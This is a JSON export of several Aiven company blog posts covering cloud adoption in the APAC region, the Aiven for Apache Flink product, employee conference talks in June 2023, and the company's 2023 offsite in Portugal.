news.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-083e93a0109c512d273eee1431936d18f4641f0c-752x405-png","_type":"reference"}},"publishedAt":"2018-06-04T00:00:00.000Z","seo":{"metaDescription":"Aiven is now among the very few DBaaS providers to hold the ISO 27001 certification. Find out the what, how, and why.","metaImage":{"alt":"","asset":{"_ref":"image-083e93a0109c512d273eee1431936d18f4641f0c-752x405-png","_type":"reference"}},"metaTitle":"Aiven earns ISO 27001 certification"},"slug":{"_type":"slug","current":"/blog/aiven-earns-iso-27001-certification"},"subtitle":"Aiven is now among the very few DBaaS providers to hold the ISO 27001 certification. Find out the what, how, and why.","title":"Aiven earns ISO 27001 certification"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3XqXps9Ko6fze8fxbK6QI7","_rev":"v0cQAWzuhXdzXIalMlJXQm","_type":"post","_updatedAt":"2023-06-21T08:31:38Z","authors":[],"body":"[During a recent webinar](https://www.youtube.com/watch?v=xxKtNXbuYwg \"Open source and cloud technology discussion with Traveloka and Gojek | Aiven Webinar\"), we talked with Rajesh Ajmera, Traveloka’s Head of Engineering, and Nitish Jha, Gojek’s Head of Engineering, about the state of cloud and open-source technology adoption in the APAC region (Asia-Pacific).\n\nThis past year, businesses in the APAC region have seen first-hand how cloud and open-source technologies help their businesses thrive. But integrating such technology isn’t easy – there’s a lot to consider if you want everything to go smoothly. Rajesh and Nitish give expert advice on how businesses can harness the power of cloud and open-source technologies to scale smartly, and how to do it so that it fits unique business demands.\n\nOf course APAC (along with the rest of the globe) wants to maximize the benefits of cloud tech. The question is - how? No one wants to be blindsided by unexpected costs and security issues. Not to mention the tribulations of redesigning and migrating systems, and retraining employees.\n\nIt all boils down to this: APAC companies need cloud providers that don’t just provide the tech and innovation, but can also help them with implementation and managed services.\n\n## How open-source and the cloud support APAC businesses in 2021\n“Things are changing, always,” Rajesh Ajmera said. “And the open-source and cloud technologies were very much the catalyst for this.” Here are some of the dynamic ways cloud technologies support APAC companies:\n\n- Gathering business and marketing insights from data\n- Creating immersive experiences for consumers\n- Automating customer service\n\nHere’s a quick snapshot of how it’s going so far:\n\n- [APAC enterprises are expected to increase spending on public cloud services](https://www.computerweekly.com/news/252497641/APAC-cloud-spending-up-by-over-38-in-2020 \"Computerweekly.com | APAC cloud spending up by over 38% in 2020\") by a total of 38% by the end of 2021. The APAC region has largely embraced the benefits of cloud tech and is looking for ways to expand on it and use it more efficiently.\n- [Australia ($5.2 billion) and India ($3.5 billion) will be in second and third place](https://www.idc.com/ 1 \"IDC: Public Cloud Services Spending in Asia/Pacific to Reach US$ 48.4 Billion by 2021\") respectively in terms of cloud spending in the region. This is driven by fast adoption across enterprises, and the presence of major global cloud providers in the region.\n- Based on the increasing demand for custom solutions and the focus on controlling cloud costs, Rajesh predicted that in the next 1-2 years, 80-90% of enterprises would offer mixed bag solutions. \n\nBut with new innovations come new challenges. Let’s take a look at these to further understand how to roll forward.\n\n## Key challenges for APAC businesses - and what cloud providers can do\nAPAC businesses already understand that cloud and open-source tech is necessary to bring their business forward. The next step is to find out how to use it in mindful and cost-effective ways.\n### #1 Too many options leads to choice paralysis\nWith continuous innovations and increasing functionalities, businesses are getting swept up by all the possibilities that cloud tech brings. But what companies really need now is focus and clarity. They need to know which features and capabilities really matter for their businesses and how to implement them.\n### #2 Cloud costs can get expensive fast\nWithout a strategy in place, companies run the risk of mismanaging their cloud resources. Leaving a simulation on overnight, for example, can rack up a huge cloud bill. Companies need an easy, transparent way to understand how the cost of their cloud tech accrues, and how to match that up with its benefits.\n### #3 Cloud providers need to offer custom and strategic solutions\nAccording to Rajesh, “Cloud data management isn’t about one specific platform or infrastructure anymore. It’s about choosing the solutions for the job at hand. Businesses are starting to take advantage of solutions that give them very industry-specific offerings.” \n\nCloud providers can no longer compete based only on who can innovate or release features the fastest. To be valuable to businesses, they also need to provide:\n\n- Business development strategy - expert knowledge into how the tech solves real-world problems\n- Migration and implementation guidance - making sure the tech and the business are compatible, which means including a concise blueprint and the right skillset to get the job done\n- Cost-effective use cases \n- Custom and industry-specific solutions that match individual business needs\n\n## How APAC businesses can prepare for digital transformation\nWith any big change, preparation is key. Here’s how you can ensure your business and team are more than ready.\n### Step 1: Assess your company’s readiness for the change\nExecuting a readiness assessment helps you plan and identify the right products for you by:\n\n- Helping your teams rethink their security and governance strategies. For instance, planning for any potential breaches, failures, or disaster recoveries.\n- Developing more secure systems and increased security standards.\n- Helping all stakeholders understand the roles and responsibilities connected to cloud technologies.\n\nWhen it comes to cultural readiness, Nitish had the following thoughts: “In terms of preparedness, cultural readiness is an important prerequisite. Outline the roles, responsibilities, and expectations for the team. Appreciate that this is going to be a challenge.”\n### Step 2: Train your people\nFind or hire an internal team with the right cloud development and operations knowledge, experience, and skillset to make the most out of this change. At the executive level, ensure that finance, marketing, and business development teams are on the same page.\n### Step 3: Choose a hybrid solution\nNo matter what stage of digital transformation they are in, businesses always need to consider the “how” behind scalability. That’s where hybrid solutions provide a major advantage. \n\nHybrid clouds integrate [public cloud resources](https://aiven.io/blog/public-v-private-clouds-whats-the-difference \"Aiven blog: Public v. private clouds - what’s the difference?\") with your existing infrastructure, opening doors for new business capabilities while simultaneously reducing costs. So if you’re looking to take your business to a new level, think hybrid.\n### Step 4: Develop a plan for scaling\nGet your teams together to develop a cost plan and a precise roadmap. Set limits for how the cloud tech will work for your business: define what the cloud is good for and which parts of your business will benefit from it.\n### Step 5: Keep track of costs\n[Companies often either underuse what they’ve paid for, or underestimate the budget](https://www.accenture.com/nl-en/blogs/insights/cloud-trends \"Accenture | 25 cloud trends for 2021 and beyond\") they need. Make sure you choose a provider with flexible options, consistently review your budget vs. actual use, and develop a strong implementation strategy within your team.\n## Managed services are a better choice than DIY\nGoing with a managed service eases the pain of migrating to the cloud. Having expert guidance from cloud providers saves you time, resources, and stress. For example:\n\n- You're not responsible for complex installation processes\n- It’s much easier to integrate everything\n- Less in-house resources are required\n\nNitish Jha gave this advice to determine which route is best: \n\n“What I recommend is doing a total cost of ownership evaluation rather than just an investment evaluation. A lot of this adds up. So yes, there is a financial cost [to managed services], but [in DIY] there are also staff costs, operational costs, invisible opportunity costs as well, which have to be brought into the mix for an organization to evaluate the actual investment.”\n\nThe final step? Find a cloud provider that understands and aligns with your specific needs. You don’t just want a cloud provider, you want a trusted partner during this transition.\n## Cloud providers have a new role: strategic partners\nBusiness needs evolve as fast as cloud providers innovate and deliver new solutions. \n\nWe’ve seen demands change from “more features and functionalities” to “more strategic guidance and tech implementation”. Cloud providers must adapt to a new role if we want to stay useful and relevant.\n\nAs our guests Rajesh and Nitish have shown us, businesses now need:\n\n- Top-of-the-line security\n- Great cost-efficiency\n- Confidence to wield cloud tech to grow their business\n\nThis is why Aiven has developed a service to help you improve your systems and processes so you can scale in the most efficient manner.\n\nThere’s no “one-size-fits-all” solution for your business. [But take a look at real benefits that we offer, and together we can figure out what’s right for you.](https://aiven.io/solutions \"Aiven solutions\")\n## Wrapping up\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844-png","_type":"reference"}},"publishedAt":"2021-08-23T00:00:00.000Z","seo":{"metaDescription":"Rajesh Ajmera from Traveloka and Nitish Jha from Gojek talk about harnessing the power of cloud and open-source technologies to meet business goals in APAC.","metaImage":{"alt":"","asset":{"_ref":"image-e01b86b7a8ebfae072ac8da967d16023c24b0a98-1567x844-png","_type":"reference"}},"metaTitle":"Cloud and open source technology help APAC businesses thrive"},"slug":{"_type":"slug","current":"/blog/how-cloud-and-open-source-technology-help-apac-businesses-thrive"},"subtitle":"Rajesh Ajmera from Traveloka and Nitish Jha from Gojek talk about harnessing the power of cloud and open-source technologies to meet business goals in APAC.","title":"Cloud and open source technology help APAC businesses thrive"} {"__i18n_lang":"en","_createdAt":"2023-01-13T11:44:14Z","_id":"178690c7-abca-455a-b22a-4db81e216219","_rev":"zGsPSGo9JGPfNa4sHqz3HW","_type":"post","_updatedAt":"2023-03-02T10:18:46Z","authors":[{"_key":"a3b6f45af968","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"8820059e7b41","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"}],"body":"At the center of every company are two things: data and transformation pipelines. Aggregations, filtering, masking ... so many things are needed to change raw input into useful data assets.\n[Aiven for Apache Flink®](https://aiven.io/flink) fulfils the need by providing a SQL interface to define streaming and batch data transformation pipelines on top of data hosted in a variety of technologies like Apache Kafka®, PostgreSQL® or OpenSearch®. \n\nA lot has happened since the first beta release of Aiven for Apache Flink. Our fully-managed service for Apache Flink is now in general availability and we've learned a lot about how Flink is used, as well as about stability and lifecycle management!\n\nWe sat down with [Filip Yonov, Director of Product Management](https://www.linkedin.com/in/filipyonov/) for data streaming services at Aiven, to discuss the journey and where Aiven for Apache Flink is heading next.\n\n## From the origins to today, the story of Aiven for Apache Flink\n\nAiven doesn't just provide data pipelines; we're a data company, too, and we adopt open source technologies for internal purposes. When we've collected enough experience and trust in the tooling, we have the option of packaging and exposing them as a service for our clients, who can then benefit from the functionality without the management hassle. This started with PostgreSQL, which first solved our database needs and next became one of our most widespread data solutions. The process has been repeated since, with for example Apache Kafka, which we use to serve data across technologies in streaming mode.\n\nWhen facing the need of data transformation, we looked for tools that could unify the pipeline definition across technologies. We needed our Apache Kafka to be manipulated in near-real time to provide timely analytics and notifications, using data coming from our PostgreSQL database for enrichment. Apache Flink was seen as a clear leader in this space since it can define pipelines across a wide range of backend technologies. Even more, the comprehensive set of [SQL features](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/), the [resilient and scalable architecture](https://flink.apache.org/flink-architecture.html), and the unique and supportive community backing the project make Apache Flink a solid choice for critical production workloads.\n\nSince the first release of the Aiven for Apache Flink beta, we've benefited from valuable feedback from customers and internal stakeholders to improve the service and its developer experience. In the following paragraphs we dive deeper into the recent improvements.\n\n## An abstraction layer on top of Apache Flink SQL\n\nThe first Aiven for Apache Flink product provided a direct mapping to the Apache Flink SQL client: you were able to define tables (sources and sinks of data) and jobs (transformation pipelines). However, while this reflects the journey in the SQL client, it creates a technical misunderstanding when the structure definitions evolve over time.\n\nA running Apache Flink job contains both source, sink and transformation SQL defined at the time of deployment. If a source or target table definition changes afterwards, the job doesn't pick up the update until it is stopped and restarted. This little difference meant that the metadata definition stored in the first version of Aiven for Apache Flink could be out of sync with what was executed on the cluster, generating confusion or even errors when jobs were restarted.\n\nWe fixed the issue by adding the definition of an **Application**: a layer of abstraction that includes \n\n- Source and sink table definitions\n- SQL transformation definitions\n- Deployment parameters \n\nBy working at the Application level, you'll know what your current definitions are at any point in time. \n\nAlso, Aiven added a **versioning system**. You can now navigate between versions, track enhancements, explore new features and roll back changes if things don't look right.\n\n## Smoother pipeline definition\n\nWriting Flink SQL is not an easy job: defining tables, integrations and metadata parameters can sometimes be a headache. Here are ways in which Aiven for Apache Flink enhances the pipeline definition:\n\n* **Simplified integration**: forget about difficulties in integration, networking, SSL certificates with data sources and sinks. You can read from and write to Aiven for Apache Kafka, Aiven for PostgreSQL® and Aiven for OpenSearch® by creating an integration in the Aiven Console with a few clicks.\n* **Pure table SQL definition**: in a previous iteration of the table definition, we separated the column definition (that is, which columns are contained in a table) from the metadata syntax (that is, which connector, topic, consumer group to use). However, based on user feedback, we realized that this didn't provide any additional benefit to the experience. Therefore we reverted the table definition to pure SQL, and now it's fully compatible with the Apache Flink SQL Client. \n* **SQL autocomplete**: since both the full table and transformation definition are in now SQL, we added an autocomplete feature allowing developers to fast-track their work.\n* **Flink SQL pipeline output preview**: the new pipeline preview feature lets you check that your table definition fetches the correct data and that your SQL transformation performs the right manipulation, without pushing a single record to the target environment. The interactive queries allow you to see, directly in the Aiven Console, what is the output of a table definition or transformation SQL.\n* Improved **[OpenSearch](https://github.com/apache/flink-connector-opensearch) and [Slack](https://github.com/aiven/slack-connector-for-apache-flink) connectors**: Data doesn't only live in PostgreSQL and Apache Kafka. By enhancing the set of connection options, you can now stream the result of the data pipeline directly to an OpenSearch index or notify people in the Slack messaging tool.\n\n## Faster definition, reuse and an iterative approach\n\nClearing ambiguities isn't the only benefit of the Application concept. By storing table and transformation SQL definitions and performing versioning, Aiven for Apache Flink becomes the perfect playground to iterate fast, test new deployments, and recall code changes. \n\nEven more, once a correct prototype is created, the new UI allows you to quickly copy table definitions across applications. This avoids the \"empty canvas syndrome\" and cuts down the time needed to develop new applications.\n\n## Tight control on deployments\n\nEvery data pipeline definition is different, and every execution can vary as well. By adding a \"Deployment\" stage, you can now define application execution parameters, such as the number of parallel tasks. You can also stop deployments and store their state, using [Flink savepoints](https://nightlies.apache.org/flink/flink-docs-master/docs/ops/state/savepoints/). You can then reuse savepoints to start an application execution from an existing state, generated by the same application, even if it was on a different version. The compatibility of the savepoint is assessed automatically. If there's a positive match, the savepoint is used to start the application from a known point in time.\nYou can store up to 5 savepoints per application, so you can easily 'time travel' in your Flink application by choosing a new deployment \"starting point\" based on your needs.\n\n## Lifecycle management\n\nOur beta customers and internal stakeholders helped us to make Aiven for Apache Flink more robust. The native Apache Flink [checkpoint](https://nightlies.apache.org/flink/flink-docs-master/docs/ops/state/checkpoints/) and [savepoint](https://nightlies.apache.org/flink/flink-docs-master/docs/ops/state/savepoints/) system has been enhanced to automate the backup of pipeline state and allow graceful shutdown and startup. On top of this, you can now correctly size your service depending on the workload and change it whenever needed. Additionally, if your data needs to be migrated between clouds or regions, your pipeline definition can follow the data, to minimize any latency.\n\n## The future of Aiven for Apache Flink\n\nThe enhanced developer experience provided by Aiven for Apache Flink is only a first step in a long journey. Aiven is fully committed to optimizing the service further. It only makes sense, as Flink is clearly becoming the de facto standard in the data processing space.\n\nAiven will continue to enhance the service by adding new integration and connection capabilities, and integrating all upcoming Flink SQL features. [Our plans](https://aiven.io/pricing?product=flink\u0026tab=plan-pricing) will extend to accommodate new use cases and needs from existing and new customers.\n\nExperience the new developer experience of Aiven for Apache Flink directly from the [Aiven Console](https://console.aiven.io/)\n","categories":[{"_key":"835a4d063fe0","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"57c3643d2d4d","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"93533aaaf105","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The text \"Seeking the best possible Apache Flink® experience\" on a blue background, with the Aiven cuddly crab logo at the bottom right","asset":{"_ref":"image-3ccc57ac82cd2b6243e238fe0cb03b52b2753dea-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-03-02T10:18:41.317Z","related":[{"_key":"1b7b29f6c1e5","_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/aiven-flink-journey"},"subtitle":"SQL, integrations, autocompletion, data preview and more - Aiven’s bringing good things to your Apache Flink® workflow","title":"Aiven's journey to enable a better Apache Flink® experience"} {"__i18n_lang":"en","_createdAt":"2023-07-07T09:29:35Z","_id":"6f4ffb6b-9fe9-4150-bf42-c77ddc3d5342","_rev":"lIJH2XrFwRt4uP1xSPER9Q","_type":"post","_updatedAt":"2023-07-07T13:29:13Z","authors":[{"_key":"db91862ab35b","_ref":"18b2384d-a539-411b-8aab-d148082fe230","_type":"reference"},{"_key":"c26e492eb424","_ref":"794a9c45-685d-4fe9-85c6-fe22532ca57c","_type":"reference"}],"body":"Aiven is passionate about supporting speakers and engaging open source and developer communities through content. Here’s what we got up to in June 2023:\n\n* Olena Kutsenko, one of Aiven’s Developer Advocates, spoke at [JSNation](https://jsnation.com/): [Apache Kafka® Simply Explained With TypeScript Examples](https://portal.gitnation.org/contents/apache-kafka-simply-explained-with-typescript-examples)\n* Olena Kutsenko also spoke at [Berlin Buzzwords 2023](https://2023.berlinbuzzwords.de/): [ClickHouse®: what is behind the fastest columnar database](https://www.youtube.com/watch?v=mrJvoHJRs9Y)\n* Celeste Horgan, one of Aiven’s Developer Educators, spoke at [Berlin Buzzwords 2023](https://2023.berlinbuzzwords.de/): [Building On-Ramps for Non-Code Contributors in Open Source](https://www.youtube.com/watch?v=7vKtFYM03gA)\n* Olena Kutsenko and Olena Babenko, one of Aiven’s Software Engineers spoke at [Kafka Summit London 2023](https://www.kafka-summit.org/kafka-summit-london-2023): [The Dark and Dirty Side of Fixing Uneven Partitions](https://www.confluent.io/events/kafka-summit-london-2023/the-dark-and-dirty-side-of-fixing-uneven-partitions/)\n* Olena Kutsenko spoke at [DevoxxUK 2023](https://www.devoxx.co.uk/): [Using Apache Kafka and OpenSearch® to explore Mastodon](https://youtu.be/B-X5LCwEIjw)\n* Sébastian Blanc, one of Aiven’s Developer Advocates, spoke at [VoxxedDays Luxembourg 2023](https://luxembourg.voxxeddays.com/en/): [A legacy app enters a Serverless bar](https://youtu.be/CLl4Dy40dxQ)\n* Olena Kutsenko also spoke at [VoxxedDays Luxembourg 2023](https://luxembourg.voxxeddays.com/en/): [Beginner’s guide to balance your data across Apache Kafka partitions](https://youtu.be/Mq3RQHH2kzY)\n* Matty Stratton, Aiven’s Director of Developer Relations, gave the day 2 keynote at [DevOps Talks Melbourne](https://devops.talksplus.com/melbourne/devops): [Zero Trust is for Networks, Not Your Teams](https://speaking.mattstratton.com/1TVpT6/zero-trust-is-for-networks-not-your-teams)\n* Matt Cornillon, one of Aiven’s Solutions Architects gave a talk at [PGDay France 2023](https://pgday.fr/) (in French): [From the leaf to the Elephant](https://www.youtube.com/watch?v=35oUEFtLcxg\u0026t=19633s)\n* Dewan Ahmad, one of Aiven’s Developer Advocates, spoke at [PGCon 2023 Ottawa](https://www.pgcon.org/2023/): [Who's managing the credentials for your database?](https://www.youtube.com/watch?v=EE-IcX_YiR8)\n* Ronan Dunklau, one of Aiven’s Software Engineers, also spoke at [PGCon 2023 Ottawa](https://www.pgcon.org/2023/): [PGTracer: A Tracing Tool for Postgres Backends](https://www.youtube.com/watch?v=bUHwWEU-Ask)\n* Patrick Stählin, one of Aiven’s Software Engineers, spoke at [Swiss PG Day 2033](https://www.pgday.ch/2023/) in German: Was ist MVCC und was sind die Auswirkungen davon?. There’s no recording but you can [view the slides](https://www.pgday.ch/common/slides/2023_MVCC_pstaehlin.pdf)!\n\n\u003c!--\n![Olena Kutsenko on stage speaking about Apache Kafka to a packed room of developers at JSNation. Photo Source: https://twitter.com/marcelcutts/status/1664233381654065153](https://cdn.sanity.io/images/sczeoy4w/production/f8f155ad0ea5bcf60512d3039e7359025539e0ca-1600x1398.jpg)\n--\u003e\n\nWe also gave some workshops: \n\n* Oleka Kutsenko led a [Beginners guide to balance your data across Apache Kafka partitions](https://devnexus.com/archive/devnexus2023/presentations/beginners-guide-to-balance-your-data-across-apache-kafka-partitions) at [DevNexus Atlanta 2023](https://devnexus.com/)\n\n\nAnd appeared on some podcasts:\n\n* Angie Byron was on the [Changelog Podcast’s](https://changelog.com/podcast) episode on [Maintaining Maintainers](https://changelog.com/podcast/542)\n* Francesco Tsiot, one of Aiven’s Developer Advocates, was on [Arrested DevOps](https://www.arresteddevops.com/) talking about [Data! Data! Data!](https://www.arresteddevops.com/data-data-data/)\n* Olena Kutsenko was on [RTA Podcast with Tim Berglund’s](https://rta.buzzsprout.com/) episode about [Apache Kafka](https://youtu.be/ETBSuhUaPl8)\n\n\n## Where to find us in July\n\nAiven cast members at at the following events in July:\n\n* Angie Byron, Aiven’s Director of Community, will be speaking at [FOSSY 2023](https://2023.fossy.us/): [Lessons Learned From Scaling An Open Source Community By 10,000%](https://2023.fossy.us/schedule/presentation/30/)\n* Tibs, one of Aiven’s Developer Educators, will be speaking at [EuroPython 2023](https://ep2023.europython.eu/): [Fish and chips and Apache Kafka®](https://ep2023.europython.eu/session/fish-and-chips-and-apache-kafka)\n* Markos Sfikas, one of Aiven’s Product Marketing Managers, will be speaking at [Product Marketing Festival 2023](https://www.productmarketingalliance.com/product-marketing-festival-july-13-14-2022/): [From boring to intriguing: how storytelling can help marketing complex products](https://festival2023.productmarketingalliance.com/talks/making-sexy-the-unsexy-using-storytelling-as-a-successful-means-for-marketing-complex-or-difficulttovisualize-products-and-services/)\n- Sébastian Blanc will be one of the hosts at [Riviera Dev](https://rivieradev.fr/) in Provence-Alpes-Côte d'Azur, France\n\nEvery month Aiven hosts [ Open Source Data Infrastructure (OSDI) Meetups](https://www.meetup.com/pro/open-source-data-infrastructure-community/) around the world, bringing together developers working with Apache Kafka®, Apache Flink®, OpenSearch®, ClickHouse®, MySQL and more. We’ll be hosting the following meetups in July: \n\n* **Thursday, July 13, 2023**: [Berlin OSDI Meetup](https://www.meetup.com/berlin-open-source-data-infrastructure-meetup/events/293689914/?utm_medium=referral\u0026utm_campaign=networkEvent_savedevents_share_modal\u0026utm_source=link) featuring Mattias Jonson of PingCAP’s talk: Introduction to TiDB - a distributed SQL database\n* **Friday, July 28, 2023**: [New York OSDI Meetup,](https://www.meetup.com/new-york-open-source-data-infrastructure-meetup/events/294326349) featuring Brooke Jamieson of AWS’ talk: Demystifying Vector Databases: Your Next Must-Learn Technology\n\n\nWe hope to see you in July!","categories":[{"_key":"25002016f84b","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-10d73eaa11544b7d4f751ece23d798c89e75ded7-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-07T09:25:25.154Z","related":[{"_key":"e3fca0b6f2ac","_ref":"076d9cea-9afd-4558-87a9-320861615971","_type":"reference"},{"_key":"11eb98a61089","_ref":"0bfbd9fe-3345-405a-af46-8afc21cf05f2","_type":"reference"},{"_key":"b5b6b86613f6","_ref":"0f535739-8443-49d6-89b1-c9d898799ad5","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/speaking-crabs-june-2023"},"subtitle":"A roundup of the talks, workshops, podcasts and more Aiven cast members have given or spoken on, as well as where you can find us in July 2023!","title":"Speaking Crabs, June 2023"} {"__i18n_lang":"en","_createdAt":"2023-05-22T10:06:35Z","_id":"c3decc78-b335-4ccf-8ae6-05a1662fec02","_rev":"4xxJDWP8Sw6o7zBrUAfE4h","_type":"post","_updatedAt":"2023-08-03T10:26:15Z","authors":[{"_key":"74ec96f5485e","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"It’s that time of the year again when we pack our bags and set off on the adventure of Crab Week. What is this, you might ask? Aiven’s annual offsite that brings our Cast together - this year’s theme was Claws United. \n\nThe beginning of 2023 was a tough moment for all of us working in Tech, Aiven included. Therefore more than ever we needed to come together as a team to rebuild and reconnect. Meeting fellow Aiveners face-to-face and investing in team-building has so much value and lets us build that common Crabby spirit. \n\nApril is also the start of our fiscal year. It’s the perfect opportunity to align on our refreshed strategic approach and ensure that everyone understands how they contribute to Aiven’s vision, ambitions and strategic initiatives. \n\n## Travelling sideways to Portugal\n\nIt’s no easy task to bring everyone together to one location. After months of planning, a small group of 7 Aiveners brought Crab Week 2023 to life. A big shout out to our clawsome organizing committee, the Crab Week Core Team, and [Jolos](https://jolos.eu/) (our events agency) for making this event happen. With 3 main objectives in mind - Big picture, Impact, and Community - we began our journey to have our Claws United in sunny Albufeira!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/2f60b900fb9fc5207ce295b8dc3cc4c98f7b2993-6000x4000.jpg)\n\n## Our way forward\n\nWe spent the first day all together for company-wide sessions, there were so many highlights! [Oskari Saarenmaa](https://www.linkedin.com/in/oskarisaarenmaa/) (our CEO and co-founder) announced our new vision to be ‘**The trusted open source data platform for everyone**’ and spoke about how we turn this vision into reality. \n\nNext, we had a burst of energy on stage in the form of Aiven’s new CRO - [David Wyatt](https://www.linkedin.com/in/davidwyatt123/), who brought Top Gun to Aiven (fighter jets, maverick flight suits, aviators and, Crab Cash!?). Dave presented our Go To Market Strategy with ‘intentionality’ (yes, that’s a word) and got us out of our seats and excited for the future with a hype man in tow. Our Product Strategy was presented by the dynamic duo, [Hannu Valtonen](https://www.linkedin.com/in/hannuvaltonen/)(our CPO and co-founder) and [Jonah Kowall](https://www.linkedin.com/in/jkowall/) (VP of Product Management) followed by an executive team panel led by [Anna Richardson](https://www.linkedin.com/in/anna-richardson-a7896013/) (VP of People) that dived deeper into our Employee Value Proposition - Think Sideways. \n\nKudos to our entertaining hosts [Ewelina Grajko](https://www.linkedin.com/in/ewegra/) and [Francesco Tisiot](https://www.linkedin.com/in/francescotisiot/) for their brilliant presentation slides, infectious energy and numerous jokes - oh, and this amazing selfie!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/75492381cbf354fe698bf05722fdecc374e1600f-899x498.png)\n\nThe session after lunch was a big highlight, we welcomed representatives from two of Aiven’s customers on stage; [Diogo Gomes](https://www.linkedin.com/in/diogo-gomes-8434a1198/) from [La Redoute](https://www.linkedin.com/company/la-redoute/) and [Janek Wonner](https://www.linkedin.com/in/janek-wonner-49536018b/) from [Conrad Electronic Group](https://www.linkedin.com/company/conrad-electronic-se/), for a fireside chat with [Ian Massingham](https://www.linkedin.com/in/imassingham/) (VP of Developer Relations). This panel was so impactful for Aiveners as it gave us the chance to see Aiven through external eyes, it also gave us the opportunity to meet and hear directly from our customers. We learned how we help them solve their challenges and how Aiven brings value to their businesses. It also gave us great motivation on how we can improve in the future. A big thank you to Diogo and Janek for joining us at Crab Week!\n\nWe wrapped up the day’s session with an outdoor team-building activity, a 'Think Sideways' chain reaction challenge where the randomly formed teams were on a mission to release Crabby, our playful mascot. The experience was an absolute blast! We collaborated, problem-solved, and let our creativity run wild. We discovered the incredible power of teamwork and the joy that comes from working together with Crabs from different backgrounds. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/07d19764f975552a82a6887c21445943c85b250f-6000x4000.jpg)\n\nAfter working up an appetite, it was time for dinner and our annual Crab Awards where we recognised our Crab peers and applauded their exceptional work. Head on over to our [LinkedIn page](https://www.linkedin.com/feed/update/urn:li:activity:7061615995932565504) where you can find out more about the categories and winners. \n\n## From Crabs, to Crabs \n\nDays two and three were dedicated to functional content where teams gathered together to align and connect. When you work in a distributed team, having face-to-face time with your colleagues is like ‘gold’. The agendas were varied across departments, some teams reshaped roadmaps, others had guest speakers. Our People team participated in a ‘Dragons Den’ inspired brainstorming activity, whilst Marketing and DevRel learned what it’s like to be a CMO for a day. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/af03328008a527fa03b2e10008388f054cbf5be5-6048x4024.jpg)\n\nWhen organizing the event, the Core Team wanted Crab Week to look and feel like our Cast so having sessions led by our Crabs was important. Wednesday afternoon was devoted to sessions hosted by various Aiveners presenting topics they're passionate about. This included talks on Leadership Skills, Aiven’s Sustainability Journey, Why Storytelling Matters, Your First Steps as a Public Speaker and A Tactical Networking Session for Growing a Pipeline. There was also a panel discussion about the various cultures that make up Aiven, including our ERG groups Lift: Women of Aiven, Proud Crabs and our Neurodiversity group. This panel created healthy discussions among the participants and created a safe space for folks to be able to show up as their authentic selves. A big shout out to the crabulous speakers who led these ten sessions for their fellow peers! \n\n## Crabs get festive! \n\nThe pièce de résistance was the Crab Festival hosted in the lush resort gardens under the palm trees. There were garden games, face painting, crab tattoos (temporary, of course), a live band, DJ Fabz, karaoke and later on a silent disco. Seeing everyone networking and having a good time was certainly a highlight not only for me but for the rest of the organizing team. This helped to form professional bonds, but also connections between people. And who doesn’t love live music, good weather and the chance to connect with your work pals as the sun goes down over the Atlantic Ocean?\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/53fb6a0ee84028859c58e708aee0706e974ad414-5513x3675.jpg)\n\n\n## The future is bright \n\nWe ended the week with some cross-functional activities and a relaxed outdoor dinner by the pool. As the sun set on the week we were grateful for new connections, a better understanding of Aiven’s way forward as a united team, and for some of us, a tan! The value of bringing people together face-to-face is unmatched and this is certainly an event we’ll be talking about for a very long time.\n\nOn the final day, we asked everyone to describe their Crab Week 2023 experience in one word and it’s given us some great new Crab puns (thanks folks!). \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/3b8f94422dd7b5022564484889361b844cf55208-606x330.png)\n\nAnd Crab Week 2024……. Yes, we’re going to do it all over again next year. We see the value of bringing everyone together to collaborate and connect. Let’s see where we land (sideways) as we continue to make Crab Week a highlight each year.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/67da9e0e0bb63799bf549141ec141df5f1284e8b-6048x4024.jpg)\n\nLike what you see here? There's so much more to come as we take a peek under our shell and uncover Life at Aiven.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) 